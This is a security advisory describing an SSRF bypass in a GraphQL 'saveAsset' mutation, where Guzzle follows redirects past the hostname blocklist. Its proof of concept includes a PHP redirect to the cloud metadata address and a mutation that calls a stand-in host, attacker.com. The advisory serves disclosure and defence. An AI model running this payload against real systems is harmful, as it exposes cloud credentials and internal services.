Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
---
## Proof of Concept
1. Host a redirect script on your server (e.g. `redirect.php`):
```php
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
```
2. Send the following GraphQL mutation:
```graphql
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
```
3. The application validates `attacker.com` (passes)
4. Guzzle follows the redirect to `169.254.169.254`
5. Cloud metadata is saved as an asset
---
## Mitigation
- Disable redirects.
